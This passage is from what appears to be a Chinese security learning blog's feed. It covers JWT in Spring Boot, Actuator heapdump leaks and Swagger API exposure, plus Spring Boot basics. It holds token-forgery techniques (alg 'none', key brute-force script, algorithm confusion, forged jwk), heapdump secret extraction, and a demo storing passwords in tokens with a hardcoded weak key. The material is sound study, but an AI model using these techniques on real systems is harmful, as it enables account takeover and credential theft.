class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>JwtController.java:</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.fc0.testjwt.demos.web;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.auth0.jwt.JWT;</span><br><span class="line"><span class="keyword">import</span> com.auth0.jwt.JWTVerifier;</span><br><span class="line"><span class="keyword">import</span> com.auth0.jwt.algorithms.Algorithm;</span><br><span class="line"><span class="keyword">import</span> com.auth0.jwt.interfaces.DecodedJWT;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Controller;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.PostMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.ResponseBody;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Controller</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JwtController</span> &#123;</span><br><span class="line">    <span class="meta">@PostMapping(&quot;/jwtcreate&quot;)</span></span><br><span class="line">    <span class="meta">@ResponseBody</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">create</span><span class="params">(Integer id, String user, String pass)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">jwt</span> <span class="operator">=</span> JWT.create() <span class="comment">//创建JWT</span></span><br><span class="line">                <span class="comment">//设置header</span></span><br><span class="line">                <span class="comment">//.withHeader()</span></span><br><span class="line"></span><br><span class="line">                <span class="comment">//设置payload部分</span></span><br><span class="line">                .withClaim(<span class="string">&quot;userid&quot;</span>, id)</span><br><span class="line">                .withClaim(<span class="string">&quot;username&quot;</span>, user)</span><br><span class="line">                .withClaim(<span class="string">&quot;password&quot;</span>, pass)</span><br><span class="line">                <span class="comment">//.withExpiresAt() 设置过期时间</span></span><br><span class="line"></span><br><span class="line">                <span class="comment">//创建signature</span></span><br><span class="line">                .sign(Algorithm.HMAC256(<span class="string">&quot;fcqb&quot;</span>)); <span class="comment">//算法和密钥</span></span><br><span class="line"></span><br><span class="line">        System.out.println(jwt);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> jwt;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//解密JWT</span></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/jwtcheck&quot;)</span></span><br><span class="line">    <span class="meta">@ResponseBody</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">jwtcheck</span><span class="params">(String jwtdata)</span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//构建解密注册</span></span><br><span class="line">        <span class="type">JWTVerifier</span> <span class="variable">jwtde</span> <span class="operator">=</span> JWT.require(Algorithm.HMAC256(<span class="string">&quot;fcqb&quot;</span>)).build();</span><br><span class="line">        <span class="comment">//解密注册数据</span></span><br><span class="line">        <span class="type">DecodedJWT</span> <span class="variable">verify</span> <span class="operator">=</span> jwtde.verify(jwtdata);</span><br><span class="line">        <span class="comment">//提取注册解密数据</span></span><br><span class="line">        <span class="type">Integer</span> <span class="variable">userid</span> <span class="operator">=</span> verify.getClaim(<span class="string">&quot;userid&quot;</span>).asInt();</span><br><span class="line">        <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> verify.getClaim(<span class="string">&quot;username&quot;</span>).asString();</span><br><span class="line">        <span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> verify.getClaim(<span class="string">&quot;password&quot;</span>).asString();</span><br><span class="line"></span><br><span class="line">        System.out.println(userid +<span class="string">&quot; &quot;</span>+ username +<span class="string">&quot; &quot;</span>+ password);</span><br><span class="line">        <span class="keyword">return</span> userid +<span class="string">&quot; &quot;</span>+ username +<span class="string">&quot; &quot;</span>+ password;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409042333310.png" alt="image-20240904233323050"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409042333122.png" alt="image-20240904233340076"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409042333770.png" alt="image-20240904233348695"></p><p>如果需要根据解密的数据执行不同的逻辑，可以使用以下代码进行判断</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (username.equals(<span class="string">&quot;admin&quot;</span>)) &#123;</span><br><span class="line">     <span class="keyword">return</span> <span class="string">&quot;admin&quot;</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">     <span class="keyword">return</span> <span class="string">&quot;gay?&quot;</span>;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure></div><h4 id="安全问题"><a class="markdownIt-Anchor" href="#安全问题">#</a> 安全问题</h4><p><a class="link" href="https://www.cnblogs.com/tomyyyyy/p/15134420.html">JWT 的安全问题 - tomyyyyy <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><strong>1. 敏感信息泄露</strong></p><p>我们能够轻松解码 payload 和 header，因为这两个都只经过 Base64Url 编码，而有的时候开发者会误将敏感信息存在 payload 中。</p><p>一般我们遇到 jwt 字符串可以到 https://jwt.io/ 这个网站解密。</p><p><strong>2. 未校验签名</strong></p><p>某些服务端并未校验 JWT 签名，所以，可以尝试修改 signature 后 (或者直接删除 signature) 看其是否还有效。</p><p><strong>3. 签名算法可被修改为 none (CVE-2015-2951)</strong></p><p>头部用来声明 token 的类型和签名用的算法等，比如：</p><div class="highlight-container" data-rel="Json"><figure class="iseeu highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;alg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;HS256&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;typ&quot;</span><span class="punctuation">:</span> <span class="string">&quot;JWT&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></div><p>以上 header 指定了签名算法为 HS256，意味着服务端利用此算法将 header 和 payload 进行加密，形成 signature，同时接收到 token 时，也会利用此算法对 signature 进行签名验证。</p><p>但是如果我们修改了签名算法会怎么样？比如将 header 修改为：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">&quot;alg&quot;: &quot;none&quot;,</span><br><span class="line">&quot;typ&quot;: &quot;JWT&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>那么服务端接收到 token 后会将其认定为无加密算法， 于是对 signature 的检验也就失效了，那么我们就可以随意修改 payload 部分伪造 token。</p><p><a class="link" href="https://jwt.xn--ioalgnone-kp6neaa0207bx8mu8b992yrif">https://jwt.io 将 alg 为 none 视为恶意行为 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>，所以，无法通过在线工具生成 JWT，可以用 python 的 jwt 库来实现:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">import jwt</span><br><span class="line">jwt.encode(&#123;&quot;user&quot;:&quot;admin&quot;,&quot;action&quot;:&quot;upload&quot;&#125;,algorithm=&quot;none&quot;,key=&quot;&quot;)</span><br></pre></td></tr></table></figure></div><p>用 none 算法生成的 JWT 只有两部分了，根本连签名都不存在。</p><p><strong>4. 签名密钥可被爆破</strong></p><p>jwt 使用算法对 header 和 payload 进行加密，如果我们可以爆破出加密密钥，那么也就可以随意修改 token 了。</p><p>JWT 爆破脚本：<a class="link" href="https://github.com/Ch1ngg/JWTPyCrack">https://github.com/Ch1ngg/JWTPyCrack <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>也可以使用下面的脚本爆破</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">jwt_str = <span class="string">&quot;xxx.ttt.zzz&quot;</span></span><br><span class="line">path = <span class="string">&quot;D:/keys.txt&quot;</span></span><br><span class="line">alg = <span class="string">&quot;HS256&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(path,encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">        key_ = line.strip()</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            jwt.decode(jwt_str,verify=<span class="literal">True</span>,key=key_,algorithm=alg)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&#x27;found key! --&gt; &#x27;</span> +  key_)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">except</span>(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&#x27;found key! --&gt; &#x27;</span> +  key_)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">except</span>(jwt.exceptions.InvalidSignatureError):</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;key not found!&quot;</span>)</span><br></pre></td></tr></table></figure></div><p><strong>5. 修改非对称密码算法为对称密码算法 (CVE-2016-10555)</strong></p><p>JWT 的签名加密算法有两种，对称加密算法和非对称加密算法。</p><p>对称加密算法比如 HS256，加解密使用同一个密钥，保存在后端。</p><p>非对称加密算法比如 RS256，后端加密使用私钥，前端解密使用公钥，公钥是我们可以获取到的。</p><p>如果我们修改 header，将算法从 RS256 更改为 HS256，后端代码会使用 RS256 的公钥作为 HS256 算法的密钥。于是我们就可以用 RS256 的公钥伪造数据</p><p><strong>6. 伪造密钥 (CVE-2018-0114)</strong></p><p>jwk 是 header 里的一个参数，用于指出密钥，存在被伪造的风险。比如 CVE-2018-0114： <a class="link" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0114">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0114 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>攻击者可以通过以下方法来伪造 JWT：删除原始签名，向标头添加新的公钥，然后使用与该公钥关联的私钥进行签名。</p><p>比如：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  &quot;typ&quot;: &quot;JWT&quot;,</span><br><span class="line">  &quot;alg&quot;: &quot;RS256&quot;,</span><br><span class="line">  &quot;jwk&quot;: &#123;</span><br><span class="line">    &quot;kty&quot;: &quot;RSA&quot;,</span><br><span class="line">    &quot;kid&quot;: &quot;TEST&quot;,</span><br><span class="line">    &quot;use&quot;: &quot;sig&quot;,</span><br><span class="line">    &quot;e&quot;: &quot;AQAB&quot;,</span><br><span class="line">    &quot;n&quot;: &quot;oUGnPChFQAN1xdA1_f_FWZdFAis64o5hdVyFm4vVFBzTIEdYmZZ3hJHsWi5b_m_tjsgjhCZZnPOLn-ZVYs7pce__rDsRw9gfKGCVzvGYvPY1hkIENNeBfSaQlBhOhaRxA85rBkg8BX7zfMRQJ0fMG3EAZhYbr3LDtygwSXi66CCk4zfFNQfOQEF-Tgv1kgdTFJW-r3AKSQayER8kF3xfMuI7-VkKz-yyLDZgITyW2VWmjsvdQTvQflapS1_k9IeTjzxuKCMvAl8v_TFj2bnU5bDJBEhqisdb2BRHMgzzEBX43jc-IHZGSHY2KA39Tr42DVv7gS--2tyh8JluonjpdQ&quot;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h4 id="jwt-tool"><a class="markdownIt-Anchor" href="#jwt-tool">#</a> JWT tool</h4><p>此工具可用于测试 jwt 的安全性，地址是 <a class="link" href="https://github.com/ticarpi/jwt_tool">https://github.com/ticarpi/jwt_tool <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="打包部署"><a class="markdownIt-Anchor" href="#打包部署">#</a> 打包部署</h3><ul><li><strong>①jar 类型项目会打成 jar 包:</strong></li></ul><p>jar 类型项目使用 SpringBoot 打包插件打包时，会在打成的 jar 中<strong>内置一个 tomcat 的 jar</strong>。所以我们可以使用 jdk 直接运行该 jar 项目可，jar 项目中有一个功能，将功能代码放到其内置的 tomcat 中运行。我们直接使用浏览器访问即可。</p><p>IDEA 内直接用 maven 打包，先 clean 清理缓存，再 oackage 打包</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409051155018.png" alt="image-20240905115541864"></p><p>直接运行会报错</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409051159612.png" alt="image-20240905115928566"></p><p><a class="link" href="https://blog.csdn.net/Mrzhuangr/article/details/124731024">java -jar XXX.jar 没有主清单属性以及找不到或无法加载主类的问题 - CSDN 博客 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><ul><li><strong>②war 类型项目</strong></li></ul><p>在打包时需要<strong>将内置的 tomcat 插件排除</strong>，配置 servlet 的依赖和修改 pom.xml，<br>然后将 war 文件放到<strong> tomcat 安装目录 webapps 下</strong>，启动运行 tomcat 自动解析即可。</p><p>pom.xml 加入或修改：<br> <code>&lt;packaging&gt;war&lt;/packaging&gt;</code></p><p>启动类里面加入配置：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@SpringBootApplication</span></span><br><span class="line"><span class="comment">// @SpringBootApplication 注解用于标识这是一个Spring Boot应用程序的主类，它会自动扫描并加载与主类同包或子包下的组件。</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestJwtApplication</span> <span class="keyword">extends</span> <span class="title class_">SpringBootServletInitializer</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">// SpringApplication.run() 用于启动Spring Boot应用程序。</span></span><br><span class="line">        SpringApplication.run(TestJwtApplication.class, args);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> SpringApplicationBuilder <span class="title function_">configure</span><span class="params">(SpringApplicationBuilder builder)</span> &#123;</span><br><span class="line">        <span class="comment">// configure() 方法用于配置Spring Boot应用程序的构建，主要用于支持WAR文件的部署。</span></span><br><span class="line">        <span class="keyword">return</span> builder.sources(TestJwtApplication.class);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409051324144.png" alt="img"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;jwt&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#jwt&quot;&gt;#&lt;/a&gt; JWT&lt;/h3&gt;
&lt;p&gt;之前写过身份验证鉴权的总结：&lt;a class=&quot;link&quot; href=&quot;https://fc04db.github.io/2024/07</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>JAVA-SpringBoot&amp;Actuator&amp;Swagger</title>
    <link href="http://example.com/2024/09/03/JAVA-Spring-Actuator-Swagger/"/>
    <id>http://example.com/2024/09/03/JAVA-Spring-Actuator-Swagger/</id>
    <published>2024-09-03T13:39:21.000Z</published>
    <updated>2024-09-04T07:32:35.229Z</updated>
    
    <content type="html"><![CDATA[<h3 id="actuator"><a class="markdownIt-Anchor" href="#actuator">#</a> Actuator</h3><p>actuator 是 spring boot 提供的对应用系统的自省和监控的集成功能，提供了生产级别的功能，比如<strong>健康检查，审计，指标收集，HTTP 跟踪</strong>等，帮助我们<strong>监控和管理 Spring Boot</strong> 应用。可以对应用系统进行配置查看、相关功能统计等。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409032211031.png" alt="Untitled"></p><h4 id="图像化serverclient端界面"><a class="markdownIt-Anchor" href="#图像化serverclient端界面">#</a> 图像化 Server&amp;Client 端界面</h4><p>Server：引入 Server 依赖 - 开启（@EnableAdminServer）</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409032254183.png" alt="Untitled"></p><p>Client：引入 Client 依赖 - 配置（连接目标，显示配置等）</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409032255304.png" alt="Untitled"></p><p>分别启动两个项目文件</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409032255374.png" alt="Untitled"></p><h4 id="安全问题"><a class="markdownIt-Anchor" href="#安全问题">#</a> 安全问题</h4><h5 id="heapdump泄漏"><a class="markdownIt-Anchor" href="#heapdump泄漏">#</a> heapdump 泄漏</h5><p>heapdump 端点提供来自应用程序 JVM 的堆转储</p><p>得到<strong>对应 heapdump 包</strong>可以使用工具进行分析：获取到配置信息（<strong>分析提取出敏感信息（配置帐号密码，接口信息 数据库 短信 云应用</strong>等配置）</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409032316429.png" alt="image-20240903231616381"></p><p>对于下载到的 heapdump 文件可以使用 JDumpSpider 提取器和 jvisualvm 分析器处理</p><p><code>java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump</code> :</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409032342418.png" alt="image-20240903234241300"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409032318400.png" alt="Untitled"></p><p>其他漏洞复现<a class="link" href="https://blog.csdn.net/drnrrwfs/article/details/125242990"> Spring Boot Actuator 漏洞复现合集 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="swagger"><a class="markdownIt-Anchor" href="#swagger">#</a> Swagger</h3><p>Swagger 是当下比较流行的实时<strong>接口文文档生成工具</strong>。接口文档是当前前后端分离项目中必不可少的工具，在前后端开发之前，后端要先出接口文档，前端根据接口文档来进行项目的开发，<strong>双方开发结束后在进行联调测试。</strong></p><p>配置依赖：</p><div class="highlight-container" data-rel="Properties"><figure class="iseeu highlight properties"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">&lt;dependency&gt;</span></span><br><span class="line">    <span class="attr">&lt;groupId&gt;io.springfox&lt;/groupId&gt;</span></span><br><span class="line">    <span class="attr">&lt;artifactId&gt;springfox-swagger2&lt;/artifactId&gt;</span></span><br><span class="line">    <span class="attr">&lt;version&gt;2.9.2&lt;/version&gt;</span></span><br><span class="line"><span class="attr">&lt;/dependency&gt;</span></span><br><span class="line"><span class="attr">&lt;dependency&gt;</span></span><br><span class="line">    <span class="attr">&lt;groupId&gt;io.springfox&lt;/groupId&gt;</span></span><br><span class="line">    <span class="attr">&lt;artifactId&gt;springfox-swagger-ui&lt;/artifactId&gt;</span></span><br><span class="line">    <span class="attr">&lt;version&gt;2.9.2&lt;/version&gt;</span></span><br><span class="line"><span class="attr">&lt;/dependency&gt;</span></span><br></pre></td></tr></table></figure></div><p>Swagger UI：<a class="link" href="http://localhost:8080/swagger-ui.html">http://localhost:8080/swagger-ui.html <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409040030940.png" alt="image-20240904003044844"></p><p>3、安全问题</p><p>自动化测试：Postman<br> 泄漏应用接口：用户登录，信息显示，上传文件等<br>可用于对未授权访问，信息泄漏，文件上传等安全漏洞的测试.</p><ul><li><p>打开 postman 打开工作台，在左侧找到 API</p></li><li><p>打开 API 导入生成的 swagger 页面提供的 API：<a class="link" href="http://127.0.0.1:8080/v2/api-docs">http://127.0.0.1:8080/v2/api-docs <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p></li><li><p>导入成功后点击 Api Documentation，点击右侧的运行，勾选想要测试的接口，执行即可</p></li></ul><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409040056045.png" alt="image-20240904005615959"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;actuator&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#actuator&quot;&gt;#&lt;/a&gt; Actuator&lt;/h3&gt;
&lt;p&gt;actuator 是 spring boot 提供的对应用系统的自省和监控的集成功能，提供了生产级别的功能</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>JAVA-SpringBoot&amp;MyBatis&amp;Thymeleaf</title>
    <link href="http://example.com/2024/09/02/JAVA-SpringBoot-MyBatis-Thymeleaf/"/>
    <id>http://example.com/2024/09/02/JAVA-SpringBoot-MyBatis-Thymeleaf/</id>
    <published>2024-09-02T07:21:33.000Z</published>
    <updated>2024-09-03T08:32:09.093Z</updated>
    
    <content type="html"><![CDATA[<h2 id="springboot"><a class="markdownIt-Anchor" href="#springboot">#</a> SpringBoot</h2><p>Spring Boot 是由 Pivotal 团队提供的一套<strong>开源框架</strong>，可以<strong>简化 spring 应用的创建及部署</strong>。它提供了<strong>丰富的 Spring 模块化支持</strong>，可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot 通过<strong>自动配置功能</strong>，降低了复杂性，同时支持基于 JVM 的多种开源框架，可以缩短开发时间，<strong>使开发更加简单和高效</strong></p><p><strong>官方文档</strong>：<a class="link" href="https://springdoc.cn/spring-boot/">Spring Boot 中文文档 (springdoc.cn) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><strong>1、路由映射:</strong></p><ul><li><strong>@RequestMapping, @GetMapping, 和 @PostMapping</strong> 注解用于定义 HTTP 请求的映射路径。</li><li>@RequestMapping 是通用注解，而 @GetMapping 和 @PostMapping 是其简化形式，分别用于处理 GET 和 POST 请求。</li></ul><p><strong>2、参数传递:</strong></p><ul><li><strong>@RequestParam</strong> 注解用于从 HTTP 请求中提取参数，使得控制器方法可以访问并使用这些参数。</li></ul><p><strong>3、数据响应:</strong></p><ul><li><strong>@RestController</strong> 注解用于标识一个类是 RESTful 风格的控制器，它包含了 @ResponseBody 和 @Controller 的功能。</li><li><strong>@ResponseBody</strong> 表示方法的返回值将直接作为 HTTP 响应体返回给客户端。</li><li><strong>@Controller</strong> 通常用于标识传统的 MVC 控制器，而 @RestController 更适用于 RESTful 风格的控制器</li></ul><p>** 第一个 SpringBoot：**😭</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409021607500.png" alt="image-20240902160720394"></p><p><strong>GET 请求处理：</strong></p><ul><li>getindex () 方法用于处理 GET 请求，映射路径是 “/xiaodiget”。</li><li>get_g () 方法用于处理 GET 请求，映射路径是 “/xiaodiget_g”，并且使用 @RequestParam 注解来接收名为 “name” 的参数。</li></ul><p><strong>POST 请求处理：</strong></p><ul><li>getpost () 方法用于处理 POST 请求，映射路径是 “/xiaodipost”。</li><li>get_p () 方法用于处理 POST 请求，映射路径同样是 “/xiaodiget_g”，并且同样使用 @RequestParam 注解来接收名为 “name” 的参数。</li></ul><p><strong>注解的简化形式：</strong></p><ul><li>在注释中也提到了使用 @GetMapping 和 @PostMapping 的简化形式，这两者分别等同于 @RequestMapping 中指定了请求方法的注解。</li></ul><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.fc0.springbootdemo1.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.*;</span><br><span class="line"></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">IndexController</span> &#123;</span><br><span class="line">    <span class="comment">//指定Get请求的访问路由</span></span><br><span class="line">    <span class="meta">@RequestMapping(value = &quot;/Fc0Get&quot;,method = RequestMethod.GET )</span></span><br><span class="line">    <span class="comment">//@GetMapping(&quot;value = /Fc0Get&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getindex</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Get Fc0&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//指定Post请求的访问路由</span></span><br><span class="line">    <span class="meta">@RequestMapping(value = &quot;/Fc0Post&quot;,method = RequestMethod.POST )</span></span><br><span class="line">    <span class="comment">//@PostMapping(&quot;value = /Fc0Get&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getPOST</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Post Fc0&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 指定GET请求的访问路由，带参数名name</span></span><br><span class="line">    <span class="meta">@RequestMapping(value = &quot;/Fc0Get_g&quot;, method = RequestMethod.GET)</span></span><br><span class="line">    <span class="comment">//@GetMapping(value = &quot;/xiaodiget&quot;)</span></span><br><span class="line">    <span 